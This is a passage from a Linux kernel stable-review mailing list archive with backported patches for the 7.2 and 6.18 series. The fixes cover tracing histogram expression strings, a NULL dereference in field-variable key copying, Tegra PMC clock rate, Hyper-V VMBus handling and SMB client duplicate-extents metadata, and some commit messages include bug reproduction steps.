if (!field->operands[0]) {
expr_field_str(field, expr);
- return expr;
+ return_ptr(expr);
}
if (field->operator == FIELD_OP_UNARY_MINUS) {
@@ -1780,16 +1780,15 @@ static char *expr_str(struct hist_field
strcat(expr, "-(");
subexpr = expr_str(field->operands[0], ++level);
- if (!subexpr) {
- kfree(expr);
+ if (!subexpr)
return NULL;
- }
+
strcat(expr, subexpr);
strcat(expr, ")");
kfree(subexpr);
- return expr;
+ return_ptr(expr);
}
expr_field_str(field->operands[0], expr);
@@ -1808,13 +1807,12 @@ static char *expr_str(struct hist_field
strcat(expr, "*");
break;
default:
- kfree(expr);
return NULL;
}
expr_field_str(field->operands[1], expr);
- return expr;
+ return_ptr(expr);
}
/*
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 007/242] soc/tegra: pmc: Fix uninitialised clock rate
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (5 preceding siblings ...)
2026-10-23 16:37 ` [PATCH 7.2 006/242] power: supply: ds2780: Fix ds2780_get_capacity() returning raw value Greg Kroah-Hartman
@ 2026-10-23 16:37 ` Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 7.2 008/242] Drivers: hv: Avoid infinite retry loop in init_vp_index() Greg Kroah-Hartman
` (234 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:37 UTC (permalink / raw)
To: stable; +Cc: Greg Kroah-Hartman, patches, Jon Hunter, Thierry Reding,
Sasha Levin
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Jon Hunter <jonathanh@nvidia.com>
[ Upstream commit c5c95dbdc9011a56359df4dc00be829bbcc0b036 ]
For legacy 32-bit Tegra devices, the warning in the
tegra_pmc_enter_suspend_mode() function is being triggered because the
early_pmc->rate variable is never configured and hence, always 0. This
issue started occurring after updating the PMC driver to create the PMC
context dynamically which causes the 'rate' to be set in the new dynamic
context, but missed updating the rate in the early PMC context.
Fix this by initialising the early_pmc->rate variable for 32-bit Tegra
devices when the rate for the PMC context is initialised.
Fixes: 4d61f0342689 ("soc/tegra: pmc: Create PMC context dynamically")
Signed-off-by: Jon Hunter <jonathanh@nvidia.com>
[treding@nvidia.com: move assignment to existing #ifdef block]
Signed-off-by: Thierry Reding <treding@nvidia.com>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
drivers/soc/tegra/pmc.c | 1 +
1 file changed, 1 insertion(+)
diff --git a/drivers/soc/tegra/pmc.c b/drivers/soc/tegra/pmc.c
index f419a5395545f..f8792b7950ae3 100644
--- a/drivers/soc/tegra/pmc.c
+++ b/drivers/soc/tegra/pmc.c
@@ -3148,6 +3148,7 @@ static int tegra_pmc_probe(struct platform_device *pdev)
#if defined(CONFIG_ARM)
mutex_lock(&early_pmc->powergates_lock);
+ early_pmc->rate = pmc->rate;
iounmap(early_pmc->base);
early_pmc->base = pmc->base;
mutex_unlock(&early_pmc->powergates_lock);
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 6.18 173/193] tracing: Bound histogram expression strings with seq_buf
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (171 preceding siblings ...)
2026-10-23 16:37 ` [PATCH 6.18 172/193] tracing: Use __free() for expr_str() buffer Greg Kroah-Hartman
@ 2026-10-23 16:37 ` Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 6.18 174/193] tracing: Fix NULL dereference when copying keys for a field variable Greg Kroah-Hartman
` (30 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:37 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Pengpeng Hou, Steven Rostedt,
Sasha Levin
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Pengpeng Hou <pengpeng@iscas.ac.cn>
[ Upstream commit 935601a4276f28105498609f7f98aa66e86e9c96 ]
expr_str() allocates a fixed MAX_FILTER_STR_VAL buffer and then builds
expression names with a series of raw strcat() appends. Nested operands,
constants, field flags, and generated field names can push the rendered
string past that fixed limit before the name is attached to the hist
field.
Build expression strings with seq_buf and return -E2BIG when the
rendered name would exceed MAX_FILTER_STR_VAL. This keeps the existing
tracing-side limit while replacing the raw append logic with bounded
construction.
Link: https://patch.msgid.link/20260611055945.22348-4-pengpeng@iscas.ac.cn
Signed-off-by: Pengpeng Hou <pengpeng@iscas.ac.cn>
Signed-off-by: Steven Rostedt <rostedt@goodmis.org>
Stable-dep-of: a0777b9e5315 ("tracing: Fix NULL dereference when copying keys for a field variable")
Signed-off-by: Sasha Levin <sashal@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
kernel/trace/trace_events_hist.c | 57 ++++++++++++++++++++++-----------------
1 file changed, 33 insertions(+), 24 deletions(-)
--- a/kernel/trace/trace_events_hist.c
+++ b/kernel/trace/trace_events_hist.c
@@ -94,7 +94,6 @@ typedef u64 (*hist_field_fn_t) (struct h
#define HIST_FIELD_OPERANDS_MAX 2
#define HIST_FIELDS_MAX (TRACING_MAP_FIELDS_MAX + TRACING_MAP_VARS_MAX)
#define HIST_ACTIONS_MAX 8
-#define HIST_CONST_DIGITS_MAX 21
#define HIST_DIV_SHIFT 20 /* For optimizing division by constants */
enum field_op_id {
@@ -1735,33 +1734,36 @@ static const char *get_hist_field_flags(
return flags_str;
}
-static void expr_field_str(struct hist_field *field, char *expr)
+static bool expr_field_str(struct hist_field *field, struct seq_buf *s)
{
+ const char *field_name;
+
if (field->flags & HIST_FIELD_FL_VAR_REF) {
if (!field->system)
- strcat(expr, "$");
- } else if (field->flags & HIST_FIELD_FL_CONST) {
- char str[HIST_CONST_DIGITS_MAX];
+ seq_buf_putc(s, '$');
+ } else if (field->flags & HIST_FIELD_FL_CONST)
+ seq_buf_printf(s, "%llu", field->constant);
- snprintf(str, HIST_CONST_DIGITS_MAX, "%llu", field->constant);
- strcat(expr, str);
- }
+ field_name = hist_field_name(field, 0);
+ if (!field_name)
+ return false;
- strcat(expr, hist_field_name(field, 0));
+ seq_buf_puts(s, field_name);
if (field->flags && !(field->flags & HIST_FIELD_FL_VAR_REF)) {
const char *flags_str = get_hist_field_flags(field);
- if (flags_str) {
- strcat(expr, ".");
- strcat(expr, flags_str);
- }
+ if (flags_str)
+ seq_buf_printf(s, ".%s", flags_str);
}
+
+ return !seq_buf_has_overflowed(s);
}
static char *expr_str(struct hist_field *field, unsigned int level)
{
char *expr __free(kfree) = NULL;
+ struct seq_buf s;
if (level > 1)
return NULL;
@@ -1770,47 +1772,54 @@ static char *expr_str(struct hist_field
if (!expr)
return NULL;
+ seq_buf_init(&s, expr, MAX_FILTER_STR_VAL);
+
if (!field->operands[0]) {
- expr_field_str(field, expr);
+ if (!expr_field_str(field, &s))
+ return ERR_PTR(-E2BIG);
+
return_ptr(expr);
}
if (field->operator == FIELD_OP_UNARY_MINUS) {
char *subexpr;
- strcat(expr, "-(");
subexpr = expr_str(field->operands[0], ++level);
if (!subexpr)
return NULL;
- strcat(expr, subexpr);
- strcat(expr, ")");
-
+ seq_buf_printf(&s, "-(%s)", subexpr);
kfree(subexpr);
+ if (seq_buf_has_overflowed(&s))
+ return ERR_PTR(-E2BIG);
+
return_ptr(expr);
}
- expr_field_str(field->operands[0], expr);
+ if (!expr_field_str(field->operands[0], &s))
+ return ERR_PTR(-E2BIG);
switch (field->operator) {
case FIELD_OP_MINUS:
- strcat(expr, "-");
+ seq_buf_putc(&s, '-');
break;
case FIELD_OP_PLUS:
- strcat(expr, "+");
+ seq_buf_putc(&s, '+');
break;
case FIELD_OP_DIV:
- strcat(expr, "/");
+ seq_buf_putc(&s, '/');
break;
case FIELD_OP_MULT:
- strcat(expr, "*");
+ seq_buf_putc(&s, '*');
break;
default:
return NULL;
}
- expr_field_str(field->operands[1], expr);
+ if (seq_buf_has_overflowed(&s) ||
+ !expr_field_str(field->operands[1], &s))
+ return ERR_PTR(-E2BIG);
return_ptr(expr);
}
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 008/242] Drivers: hv: Avoid infinite retry loop in init_vp_index()
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (6 preceding siblings ...)
2026-10-23 16:37 ` [PATCH 7.2 007/242] soc/tegra: pmc: Fix uninitialised clock rate Greg Kroah-Hartman
@ 2026-10-23 16:37 ` Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 7.2 009/242] x86/hyperv: Avoid using per-cpu output page in hv_apicid_to_vp_index() Greg Kroah-Hartman
` (233 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:37 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Waiman Long, Michael Kelley, Wei Liu,
Sasha Levin
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Waiman Long <longman@redhat.com>
[ Upstream commit 32ea0a33e3a0fb7c10c601b43e1b2f6c06a3f5fd ]
There is a retry loop in init_vp_index() where the CPUs from a certain
node are stripped out if they have already been in the allocated cpumask
or not in HK_TYPE_MANAGED_IRQ housekeeping cpumask. If there is no
CPU left, the allocated cpumask is ignored and the process is retried
again. However, if the HK_TYPE_MANAGED_IRQ housekeeping cpumask turns
out not to contain any CPU in that particular node, that will become an
infinite retry loop. This particular problem was reported by sashiko
[1]. This should rarely happen, but we still need to guard against this.
Fix this infinite loop problem by also skipping NUMA node that has no
housekeeping CPU in the inner while loop of init_vp_index(). Also update
the early abort check to check for the absence of online housekeeping
CPUs instead of just the emptiness of the cpumask. As the outer for
loop will only be reached if the housekeeping cpumask has at least one
online CPU, a NUMA node with housekeeping CPUs will eventually be found.
Link: https://sashiko.dev/#/message/20260422030903.E1BFCC2BCB0%40smtp.kernel.org [1]
Fixes: 6640b5df1a38 ("Drivers: hv: vmbus: Don't assign VMbus channel interrupts to isolated CPUs")
Signed-off-by: Waiman Long <longman@redhat.com>
Reviewed-by: Michael Kelley <mhkelley@outlook.com>
Signed-off-by: Wei Liu <wei.liu@kernel.org>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
drivers/hv/channel_mgmt.c | 12 +++++++++---
1 file changed, 9 insertions(+), 3 deletions(-)
diff --git a/drivers/hv/channel_mgmt.c b/drivers/hv/channel_mgmt.c
index 89d214dda360a..28b8ff9aea6e0 100644
--- a/drivers/hv/channel_mgmt.c
+++ b/drivers/hv/channel_mgmt.c
@@ -752,13 +752,14 @@ static void init_vp_index(struct vmbus_channel *channel)
u32 i, ncpu = num_online_cpus();
cpumask_var_t available_mask;
struct cpumask *allocated_mask;
+ const struct cpumask *node_mask;
const struct cpumask *hk_mask = housekeeping_cpumask(HK_TYPE_MANAGED_IRQ);
u32 target_cpu;
int numa_node;
if (!perf_chn ||
!alloc_cpumask_var(&available_mask, GFP_KERNEL) ||
- cpumask_empty(hk_mask)) {
+ !cpumask_intersects(hk_mask, cpu_online_mask)) {
/*
* If the channel is not a performance critical
* channel, bind it to VMBUS_CONNECT_CPU.
@@ -780,14 +781,19 @@ static void init_vp_index(struct vmbus_channel *channel)
next_numa_node_id = 0;
continue;
}
- if (cpumask_empty(cpumask_of_node(numa_node)))
+ /*
+ * Try next NUMA node if current NUMA node has no CPU
+ * or doesn't contain any housekeeping CPU.
+ */
+ node_mask = cpumask_of_node(numa_node);
+ if (!cpumask_intersects(node_mask, hk_mask))
continue;
break;
}
allocated_mask = &hv_context.hv_numa_map[numa_node];
retry:
- cpumask_xor(available_mask, allocated_mask, cpumask_of_node(numa_node));
+ cpumask_xor(available_mask, allocated_mask, node_mask);
cpumask_and(available_mask, available_mask, hk_mask);
if (cpumask_empty(available_mask)) {
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 6.18 174/193] tracing: Fix NULL dereference when copying keys for a field variable
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (172 preceding siblings ...)
2026-10-23 16:37 ` [PATCH 6.18 173/193] tracing: Bound histogram expression strings with seq_buf Greg Kroah-Hartman
@ 2026-10-23 16:37 ` Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 6.18 175/193] smb/client: refresh allocation size after duplicate extents Greg Kroah-Hartman
` (29 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:37 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Donggeun Yoo, Steven Rostedt,
Sasha Levin
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Donggeun Yoo <donggeunyoo.kernel@gmail.com>
[ Upstream commit a0777b9e53157f1f6848a0fd0650f5465391ea81 ]
In event_hist_trigger_parse() where it needs to create actions like
"onmatch", it calls:
event_hist_trigger_parse() {
create_actions() {
action_create() {
trace_action_create() {
trace_action_create_field_var() {
create_field_var_hist()
Where create_field_var_hist() does a loop on the hist_data
representing the keys. The issue is, if the keys uses one of the
pseudo field types (like common_cpu), the hist_data field element
will have NULL for its field member causing a NULL pointer
dereference when accessing the key_field->field->name.
# echo 'hist:keys=common_cpu:ts0=common_timestamp.usecs' > \
events/sched/sched_waking/trigger
# echo 'my_synth u64 lat; int prio' > synthetic_events
# echo 'hist:keys=common_cpu:wakeup_lat=common_timestamp.usecs-$ts0:\
onmatch(sched.sched_waking).my_synth($wakeup_lat,prio)' > \
events/sched/sched_switch/trigger
KASAN: null-ptr-deref in range [0x0000000000000010-0x0000000000000017]
RIP: 0010:create_field_var_hist+0x771/0x1380
Call Trace:
trace_action_create_field_var+0x360/0x600
trace_action_create+0x393/0xe80
event_hist_trigger_parse+0x3e47/0x69e0
trigger_process_regex+0x1a6/0x250
event_trigger_write+0xce/0x160
Instead of accessing it directly, use the proper handler
expr_field_str() to get the name.
The three previous patches are prerequisites: without them a .buckets
key and a common_stacktrace key each render into a command that cannot
be parsed back.
Cc: stable@vger.kernel.org
Link: https://patch.msgid.link/20260914053443.981201-5-donggeunyoo.kernel@gmail.com
Fixes: 02205a6752f2 ("tracing: Add support for 'field variables'")
Signed-off-by: Donggeun Yoo <donggeunyoo.kernel@gmail.com>
Assisted-by: Claude:claude-fable-5
Signed-off-by: Steven Rostedt <rostedt@goodmis.org>
Signed-off-by: Sasha Levin <sashal@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
kernel/trace/trace_events_hist.c | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
--- a/kernel/trace/trace_events_hist.c
+++ b/kernel/trace/trace_events_hist.c
@@ -3081,7 +3081,7 @@ create_field_var_hist(struct hist_trigge
key_field = hist_data->fields[i];
if (!first)
seq_buf_putc(&s, ',');
- seq_buf_puts(&s, key_field->field->name);
+ expr_field_str(key_field, &s);
first = false;
}
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 009/242] x86/hyperv: Avoid using per-cpu output page in hv_apicid_to_vp_index()
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (7 preceding siblings ...)
2026-10-23 16:37 ` [PATCH 7.2 008/242] Drivers: hv: Avoid infinite retry loop in init_vp_index() Greg Kroah-Hartman
@ 2026-10-23 16:37 ` Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 7.2 010/242] Drivers: hv: Dont reset VMBus connection state on error/exit paths Greg Kroah-Hartman
` (232 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:37 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Michael Kelley, Tianyu Lan, Wei Liu,
Sasha Levin
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Michael Kelley <mhkelley58@gmail.com>
[ Upstream commit 7b74c117e2aac78e0f723e1c9c3644451c56b0d9 ]
hv_apicid_to_vp_index() currently uses the per-cpu hypercall input
and output pages. This function is called when running in VTL2 and
when running in an SEV-SNP CoCo VM with no paravisor. In the former
case, the output page is allocated, but in the latter case it is
not, so the hypervisor stores the output VP index in memory that has
not been allocated by the guest.
Fix this by using the input page for both input and output. The
hypercall has very small input and output, so sharing the same
page for both is straightforward. An alternative fix is to
allocate the per-cpu output page when running in an SEV-SNP CoCo
guest, but this uses significantly more memory, particularly
with larger vCPUs counts.
Fixes: 86c48271e0d6 ("x86/hyperv: Fix APIC ID and VP index confusion in hv_snp_boot_ap()")
Signed-off-by: Michael Kelley <mhklinux@outlook.com>
Reviewed-by: Tianyu Lan <tiala@microsoft.com>
Signed-off-by: Wei Liu <wei.liu@kernel.org>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
arch/x86/hyperv/hv_init.c | 3 ++-
1 file changed, 2 insertions(+), 1 deletion(-)
diff --git a/arch/x86/hyperv/hv_init.c b/arch/x86/hyperv/hv_init.c
index 55a8b6de2865a..2d3095a338c1d 100644
--- a/arch/x86/hyperv/hv_init.c
+++ b/arch/x86/hyperv/hv_init.c
@@ -726,7 +726,8 @@ int hv_apicid_to_vp_index(u32 apic_id)
input->partition_id = HV_PARTITION_ID_SELF;
input->apic_ids[0] = apic_id;
- output = *this_cpu_ptr(hyperv_pcpu_output_arg);
+ /* Treat input as having 2 APIC IDs so output is 64-bit aligned */
+ output = (void *)input + struct_size(input, apic_ids, 2);
control = HV_HYPERCALL_REP_COMP_1 | HVCALL_GET_VP_INDEX_FROM_APIC_ID;
status = hv_do_hypercall(control, input, output);
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 6.18 175/193] smb/client: refresh allocation size after duplicate extents
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (173 preceding siblings ...)
2026-10-23 16:37 ` [PATCH 6.18 174/193] tracing: Fix NULL dereference when copying keys for a field variable Greg Kroah-Hartman
@ 2026-10-23 16:37 ` Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 6.18 176/193] cifs: add revalidation on FSCTL failure in smb2_duplicate_extents() Greg Kroah-Hartman
` (28 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:37 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Huiwen He, ChenXiaoSong,
Steve French, Sasha Levin
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Huiwen He <hehuiwen@kylinos.cn>
[ Upstream commit 5906d0e82e8e07d756f3ed1abfac8f8cea2c20dc ]
FSCTL_DUPLICATE_EXTENTS_TO_FILE changes the target file extents on the
server, but the client does not refresh the target AllocationSize/i_blocks.
Callers can observe or use the wrong st_blocks value immediately after the
clone, before a later attribute revalidation corrects it.
For example, create a reflinked file with a leading hole:
xfs_io -f -c "pwrite -S 0x61 0 64k" src
touch dst
chmod 600 dst
xfs_io -c "reflink src 0 1m 64k" dst
mkswap dst
swapon dst
The file still has a hole after mkswap:
/mnt/scratch/dst:
[0..7]: allocated
[8..2047]: hole
[2048..2175]: allocated
The server also reports only the allocated ranges:
server dst size=1114112 blocks=144
but the client reported EOF-derived blocks:
client dst size=1114112 blocks=2176
and swapon succeeded:
swapon_result=success
/mnt/scratch/dst 1.1M 0B -1
So EOF-derived i_blocks can let a sparse reflinked file pass the CIFS
swapfile hole check.
Fix this by querying FILE_ALL_INFORMATION on the target handle after a
successful duplicate extents request. Update i_blocks from AllocationSize
and keep the refreshed target inode attributes valid so a following stat
does not immediately revalidate again.
If the query fails, mark the cached inode attributes stale so a later
getattr can refresh them.
This also fixes the xfstests generic/370 regression introduced by the
i_blocks accounting change, as tested on a Samba "vfs objects = btrfs"
share.
Fixes: 99cd0a6eeb6c ("smb/client: do not account EOF extension as allocation")
Signed-off-by: Huiwen He <hehuiwen@kylinos.cn>
Reviewed-by: ChenXiaoSong <chenxiaosong@kylinos.cn>
Signed-off-by: Steve French <stfrench@microsoft.com>
Stable-dep-of: 53676a5e2823 ("cifs: add revalidation on FSCTL failure in smb2_duplicate_extents()")
Signed-off-by: Sasha Levin <sashal@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
fs/smb/client/cifsfs.c | 10 +++++++---
fs/smb/client/smb2ops.c | 30 ++++++++++++++++++++++++++++++
2 files changed, 37 insertions(+), 3 deletions(-)
--- a/fs/smb/client/cifsfs.c
+++ b/fs/smb/client/cifsfs.c
@@ -1463,9 +1463,13 @@ static loff_t cifs_remap_file_range(stru
target_cifsi->netfs.zero_point = new_size;
}
- /* force revalidate of size and timestamps of target file now
- that target is updated on the server */
- CIFS_I(target_inode)->time = 0;
+ /*
+ * On success, duplicate_extents already updated the target inode attrs
+ * or marked them stale if the refresh failed. On failure, mark attrs
+ * stale because EOF may have changed before the clone failed.
+ */
+ if (rc)
+ CIFS_I(target_inode)->time = 0;
unlock:
/* although unlocking in the reverse order from locking is not
strictly necessary here it is a little cleaner to be consistent */
--- a/fs/smb/client/smb2ops.c
+++ b/fs/smb/client/smb2ops.c
@@ -2271,10 +2271,14 @@ smb2_duplicate_extents(const unsigned in
u64 len, u64 dest_off)
{
int rc;
+ int qrc;
unsigned int ret_data_len;
struct inode *inode;
+ struct smb2_file_all_info file_inf;
struct duplicate_extents_to_file dup_ext_buf;
+ struct timespec64 ts;
struct cifs_tcon *tcon = tlink_tcon(trgtfile->tlink);
+ u64 asize;
/* server fileays advertise duplicate extent support with this flag */
if ((le32_to_cpu(tcon->fsAttrInfo.Attributes) &
@@ -2309,6 +2313,32 @@ smb2_duplicate_extents(const unsigned in
if (ret_data_len > 0)
cifs_dbg(FYI, "Non-zero response length in duplicate extents\n");
+ if (rc == 0) {
+ qrc = SMB2_query_info(xid, tcon, trgtfile->fid.persistent_fid,
+ trgtfile->fid.volatile_fid, &file_inf);
+ spin_lock(&inode->i_lock);
+ if (qrc == 0) {
+ asize = le64_to_cpu(file_inf.AllocationSize);
+ CIFS_I(inode)->time = jiffies;
+ if (file_inf.LastWriteTime) {
+ ts = cifs_NTtimeToUnix(file_inf.LastWriteTime);
+ inode_set_mtime_to_ts(inode, ts);
+ }
+ if (file_inf.ChangeTime) {
+ ts = cifs_NTtimeToUnix(file_inf.ChangeTime);
+ inode_set_ctime_to_ts(inode, ts);
+ }
+ if (file_inf.LastAccessTime) {
+ ts = cifs_NTtimeToUnix(file_inf.LastAccessTime);
+ inode_set_atime_to_ts(inode, ts);
+ }
+ inode->i_blocks = CIFS_INO_BLOCKS(asize);
+ } else {
+ CIFS_I(inode)->time = 0; /* force reval */
+ }
+ spin_unlock(&inode->i_lock);
+ }
+
duplicate_extents_out:
if (rc)
trace_smb3_clone_err(xid, srcfile->fid.volatile_fid,
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 010/242] Drivers: hv: Dont reset VMBus connection state on error/exit paths
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (8 preceding siblings ...)
2026-10-23 16:37 ` [PATCH 7.2 009/242] x86/hyperv: Avoid using per-cpu output page in hv_apicid_to_vp_index() Greg Kroah-Hartman
@ 2026-10-23 16:37 ` Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 7.2 011/242] pinctrl: qcom: nord: fix GPIO interrupt target width Greg Kroah-Hartman
` (231 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:37 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Sashiko, Michael Kelley, Wei Liu,
Sasha Levin
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Michael Kelley <mhkelley58@gmail.com>
[ Upstream commit ec31dc39e835ccde0930daccece8c492d28282fc ]
In two places, current code forces vmbus_connection.conn_state to
DISCONNECTED prior to calling vmbus_disconnect(). But vmbus_disconnect()
calls vmbus_initiate_unload(), which unloads the VMBus connection
only if the conn_state is CONNECTED. Consequently, the connection
remains and the Hyper-V host might continue to send messages or post
VMBus interrupts.
The problem was introduced in commit 74347a99e73ae ("x86/Hyper-V:
Unload vmbus channel in hv panic callback"), in that
vmbus_initiate_unload() started checking the current connection
state before doing the unload. This commit removed some occurrences
where conn_state was forced to DISCONNECTED, but these two remained,
apparently due to an oversight at the time.
Fix this by not forcing conn_state to DISCONNECTED during VMBus exit,
or if a failure occurs when establishing the connection in the first
place. Whatever value conn_state has at the time is then read by
vmbus_initiate_unload() to determine if there is a connection to
be unloaded.
Reported-by: Sashiko <sashiko-bot@kernel.org>
Closes: https://lore.kernel.org/linux-hyperv/20260805205806.B5AC31F000E9@smtp.kernel.org/
Fixes: 74347a99e73ae ("x86/Hyper-V: Unload vmbus channel in hv panic callback")
Signed-off-by: Michael Kelley <mhklinux@outlook.com>
Signed-off-by: Wei Liu <wei.liu@kernel.org>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
drivers/hv/connection.c | 1 -
drivers/hv/vmbus_drv.c | 1 -
2 files changed, 2 deletions(-)
diff --git a/drivers/hv/connection.c b/drivers/hv/connection.c
index 0fd50d4cb5739..4c8bc57fbb5aa 100644
--- a/drivers/hv/connection.c
+++ b/drivers/hv/connection.c
@@ -343,7 +343,6 @@ int vmbus_connect(void)
cleanup:
pr_err("Unable to connect to host\n");
- vmbus_connection.conn_state = DISCONNECTED;
vmbus_disconnect();
kfree(msginfo);
diff --git a/drivers/hv/vmbus_drv.c b/drivers/hv/vmbus_drv.c
index 18ee549d98809..300762315b902 100644
--- a/drivers/hv/vmbus_drv.c
+++ b/drivers/hv/vmbus_drv.c
@@ -3049,7 +3049,6 @@ static void __exit vmbus_exit(void)
hv_remove_kexec_handler();
hv_remove_crash_handler();
- vmbus_connection.conn_state = DISCONNECTED;
hv_stimer_global_cleanup();
vmbus_disconnect();
if (vmbus_irq == -1)
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 6.18 176/193] cifs: add revalidation on FSCTL failure in smb2_duplicate_extents()
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (174 preceding siblings ...)
2026-10-23 16:37 ` [PATCH 6.18 175/193] smb/client: refresh allocation size after duplicate extents Greg Kroah-Hartman
@ 2026-10-23 16:37 ` Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 6.18 177/193] io_uring/cancel: move request/task cancelation logic into cancel.c Greg Kroah-Hartman
` (27 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:37 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Frank Sorenson, Paulo Alcantara,
Sasha Levin
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Frank Sorenson <sorenson@redhat.com>
[ Upstream commit 53676a5e28231186c9f56d87b7998b640699bc15 ]
smb2_duplicate_extents() has no handling for
FSCTL_DUPLICATE_EXTENTS_TO_FILE failure: when the FSCTL fails, local
inode metadata may be stale from the pre-extension or from concurrent
remote writes, but is never refreshed.
Force revalidation on FSCTL failure and use i_size_read() for the
pre-extension check.
Fixes: cfc63fc8126a ("smb3: fix cached file size problems in duplicate extents (reflink)")
Cc: stable@vger.kernel.org
Signed-off-by: Frank Sorenson <sorenson@redhat.com>
Signed-off-by: Paulo Alcantara <pc@manguebit.org>
Signed-off-by: Sasha Levin <sashal@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
fs/smb/client/smb2ops.c | 7 +++++--
1 file changed, 5 insertions(+), 2 deletions(-)
--- a/fs/smb/client/smb2ops.c
+++ b/fs/smb/client/smb2ops.c
@@ -2296,7 +2296,7 @@ smb2_duplicate_extents(const unsigned in
trgtfile->fid.volatile_fid, tcon->tid,
tcon->ses->Suid, src_off, dest_off, len);
inode = d_inode(trgtfile->dentry);
- if (inode->i_size < dest_off + len) {
+ if (i_size_read(inode) < dest_off + len) {
rc = smb2_set_file_size(xid, tcon, trgtfile, dest_off + len, false);
if (rc)
goto duplicate_extents_out;
@@ -2313,7 +2313,10 @@ smb2_duplicate_extents(const unsigned in
if (ret_data_len > 0)
cifs_dbg(FYI, "Non-zero response length in duplicate extents\n");
- if (rc == 0) {
+ if (rc) {
+ CIFS_I(inode)->time = 0; /* force reval */
+ cifs_invalidate_cache(inode, 0);
+ } else {
qrc = SMB2_query_info(xid, tcon, trgtfile->fid.persistent_fid,
trgtfile->fid.volatile_fid, &file_inf);
spin_lock(&inode->i_lock);
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 011/242] pinctrl: qcom: nord: fix GPIO interrupt target width
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (9 preceding siblings ...)
2026-10-23 16:37 ` [PATCH 7.2 010/242] Drivers: hv: Dont reset VMBus connection state on error/exit paths Greg Kroah-Hartman
@ 2026-10-23 16:37 ` Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 7.2 012/242] pinctrl: qcom: hawi: Fix intr_target_width Greg Kroah-Hartman
` (230 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:37 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Zhangfei Gao, Konrad Dybcio,
Shawn Guo, Bartosz Golaszewski, Sasha Levin
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Zhangfei Gao <zhangfei.gao@oss.qualcomm.com>
[ Upstream commit 68ab4a6a84b92f52650508acb60317eb76454250 ]
The TARGET_PROC field in the Nord GPIO_INTR_CFG registers occupies bits
